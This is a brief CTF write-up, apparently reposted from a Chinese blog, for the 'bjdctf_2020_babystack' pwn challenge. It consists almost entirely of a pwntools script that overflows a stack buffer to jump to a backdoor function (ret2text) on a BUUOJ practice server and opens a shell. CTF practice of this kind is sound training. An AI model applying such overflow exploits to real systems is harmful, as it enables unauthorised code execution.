pwn | bjdctf_2020_babystack
作者:互联网
bjdctf_2020_babystack
ret2text
exp:
from pwn import *
import time
context.log_level = 'debug'
sh = remote('node4.buuoj.cn', 27865)
p_backdoor = 0x00000000004006E6
sh.recv()
sh.send(b'100\n')
sh.recv()
payload = 0x18 * b'm' + p64(p_backdoor)
sh.sendline(payload)
sh.interactive()
sh.close()
标签:babystack,backdoor,sh,2020,bjdctf,pwn,import,payload 来源: https://www.cnblogs.com/Mz1-rc/p/15568861.html